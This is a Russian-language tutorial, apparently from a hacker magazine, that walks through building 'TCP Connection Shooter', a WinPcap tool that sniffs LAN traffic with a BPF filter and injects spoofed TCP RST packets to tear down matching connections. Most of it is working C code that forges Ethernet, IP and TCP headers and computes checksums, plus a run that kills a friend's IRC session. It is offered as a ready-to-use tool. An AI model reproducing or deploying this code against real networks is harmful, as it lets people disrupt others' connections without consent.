Приветствую тебя, мой юный друг!
Сегодня мы займемся написанием простенькой
программы, реализующей основы правильного
сниффинга и спуффинга в локальных Ethernet-сетях.
Программа, которую мы с тобой рассмотрим,
занимается отловом ограниченного рамками
bpf-фильтра траффика, парсингом этого
траффика на предмет вылова TCP-соединений и
убийством этих TCP-соединений. Для особо
одаренных (типа тех, кто любит
провозглашать во мнениях, мол, "фу, она не
работает с PPP"): TCP Connection Shooter HЕ РАБОТАЕТ и HЕ
МОЖЕТ РАБОТАТЬ с диалап-соединениями, да и
вообще с любого рода соединениями
топологии "точка-точка".
Hесмотря на то, что демо-программа является
100%-функциональным и довольно удобным
инструментом, я не могу назвать её шедевром
программистского искусства -=) Впрочем,
задача весьма проста и я не стал впустую
мудрить.
За основу взят демо-сниффер к одной из
предыдущих статей. Механизм спуфинга
реализован на основе платформо-зависимого
Windows-расширения библиотеки libpcap (иными
словами, ты не сможешь скомпилировать эту
программу под UNIX), но, я думаю, тебе не
составит особого труда заменить функцию
pcap_sendpacket на какой-нибудь UNIX-эквивалент -=)
Для того, чтобы программа заработала, тебе
необходимо установить соответствующий
твоей версии Windows драйвер WinPCap
3.0a.
АЛГОРИТМ
Алгоритм программы прост:
1) Ограничиваем сниффер bpf-фильтром, в
котором описываем нужный нам траффик. Если
ты хочешь убивать только irc-траффик какого-нибудь
хоста 192.168.0.49, то фильтр будет такого рода:
tcpkiller.exe -p -f host 192.168.0.49 and tcp port 6667
2) Парсим каждый входящий кадр данных,
выясняя, является ли этот пакет TCP'шным
3) Подготавливаем и отправляем в обратную
сторону TCP RST-сообщение, сохраняя (соответственно
rfc793) поле Sequence Number и обнуляя поле Acknowledgment
Number. Соответствующее словленному кадру
данных TCP-соединение умирает.
РЕАЛИЗАЦИЯ
1) Подробности реализации bpf-фильтрации на
основе WinPCap описаны в моих предыдущих
статьях. В tcpkiller'е, (pcap_setfilter(iface, &fcode) < 0)
применяет уже скомпилированный (из строки
вроде host 192.168.36.8 and tcp port 3128) bpf-фильтр на
устройство pcap_t *iface.
2) Для облегчения (и осмысления :)) парсинга,
я приковал к программке небольшую пачку (выдранных
из приватной библиотеки) хидеров с
описанием полей заголовков. Приняв кадр
данных, tcp killer проверяет, является ли этот
кадр TCP'шным, попутно расставляя указатели
на распарсенный кадр.
Хендлер:
void packet_handler(u_char *param, const struct
pcap_pkthdr *header, const
u_char *pkt_data)
Парсинг:
ether = (uprotos_ether_h *)(pkt_data);
// ip?
if(ether->proto != UPROTOS_ETHER_PROTO_IPV4) {
printf(" non IPv4\n");
return;
}
ip = (uprotos_ipv4_h *)(pkt_data + 14);
// tcp?
if(ip->protocol != UPROTOS_IPV4_TCPV4) {
printf(" non TCPv4\n");
return;
}
tcp = (uprotos_tcpv4_h *)(pkt_data + 14 + (ip->header_len)*4);
if(tcp->rst==1) {
printf(" RST already\n");
return;
}
// yes, that's what we need, performing RST message calculation
Обрати внимание: TCP-шные пакеты с уже
установленным битом RST мы отбрасываем.
3) Далее мы рассчитываем RST-пакет, и спуфим
его в сеть:
// yes, that's what we need, performing RST
message calculation
printf(" of TCPv4, calculating RST...");
packetlen = 14 + (ip->header_len)*4 + (tcp->doff)*4;
memset(packet,0,packetlen + sizeof(uprotos_ipv4_pseudohdr));
// composing a packet
spoof_ether = (uprotos_ether_h *)packet;
spoof_ip = (uprotos_ipv4_h *)(packet + 14);
spoof_tcp = (uprotos_tcpv4_h *)(packet + 14 + (ip->header_len)*4);
pseudohdr = (uprotos_ipv4_pseudohdr *)(packet + 14 + (ip->header_len)*4
+ 20);
// ethernet
memcpy(spoof_ether->src,ether->dst,6);
memcpy(spoof_ether->dst,ether->src,6);
spoof_ether->proto = ether->proto;
// tcp
spoof_tcp->src = tcp->dst;
spoof_tcp->dst = tcp->src;
spoof_tcp->seq_num = tcp->ack_num;
spoof_tcp->ack_num = tcp->ack_num;
spoof_tcp->doff = 5;
spoof_tcp->rst = 1;
spoof_tcp->window = 0;
spoof_tcp->urgent = 0;
pseudohdr->src = ip->daddr;
pseudohdr->dst = ip->saddr;
pseudohdr->zero = 0;
pseudohdr->tcp_length = htons(0x1a);
spoof_tcp->checksum =
spoof_tcp->csum((u8*)spoof_tcp,20+sizeof(uprotos_ipv4_pseudohdr));
// ip
spoof_ip->header_len = ip->header_len;
spoof_ip->version = ip->version;
spoof_ip->tos = ip->tos;
spoof_ip->tot_len = htons((ip->header_len)*4 + (tcp->doff)*4);
spoof_ip->id = htons(ntohs(ip->id) + 1);
spoof_ip->frag_off = 0;
spoof_ip->ttl = ip->ttl;
spoof_ip->protocol = ip->protocol;
spoof_ip->saddr = ip->daddr;
spoof_ip->daddr = ip->saddr;
spoof_ip->checksum = csum((u8*)spoof_ip,spoof_ip->tot_len);
printf("done!\nInjecting shoot packet...");
pcap_sendpacket(iface,packet,packetlen);
printf("done!\n");
Как ты видишь, сначала заполняется
заголовок уровня EtherNet, затем заполняется
заголовок TCP с установкой бита RST. Бит ACK не
устанавливается, стало быть, удаленная
сторона должна не обращать внимание на поле
Acknowledgment Number. После этого заполняется псевдо-заголовок
(соответственно rfc793), чтобы можно было
рассчитать контрольную сумму spoof_tcp->checksum =
csum((u8*)spoof_tcp,20+sizeof(uprotos_ipv4_pseudohdr)). И лишь после
этого заполняется заголовок IP и
рассчитывается контрольная сумма
заголовка IP на всю длину IP-пакет'а.
Функция просчета контрольной суммы такова:
u16 csum (const u8 *buf, int len) {
register u32 sum;
register u16 *sumbuf = (u16 *)buf;
register u32 sumlen = (len / 2) + 1;
for(sum = 0;sumlen>0;sumlen--)
sum += *sumbuf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
ИСПЫТЫВАЕМ ПРОГРАММУ
Я запускаю программу: tcpkiller.exe -p -f host 192.168.36.12
and tcp port 6667
Имеется соединение моего друга Sancho
(192.168.36.12:1842) с irc-сервером (212.45.24.186:6667). Они
изредка обмениваются мессагами, лишь по
мере необходимости. Я форсирую это событие,
отправляя в канал #lan856 сообщение "die".
Санчо получает соответствующее сообщение
от сервера:
И отправляет ему подтверждение в виде ACK-пакета:
ACK
---
А моя программа посылает RSP-пакет:
SHOOT
-----
Соединение уничтожено.
Если ты всерьез хочешь пользоваться этой
программой, изучи синтаксис регулярных
выражений в man tcpdump, и ты сможешь настраивать
tcpkiller настолько гибко, насколько пожелаешь.
Удачи тебе, дружище!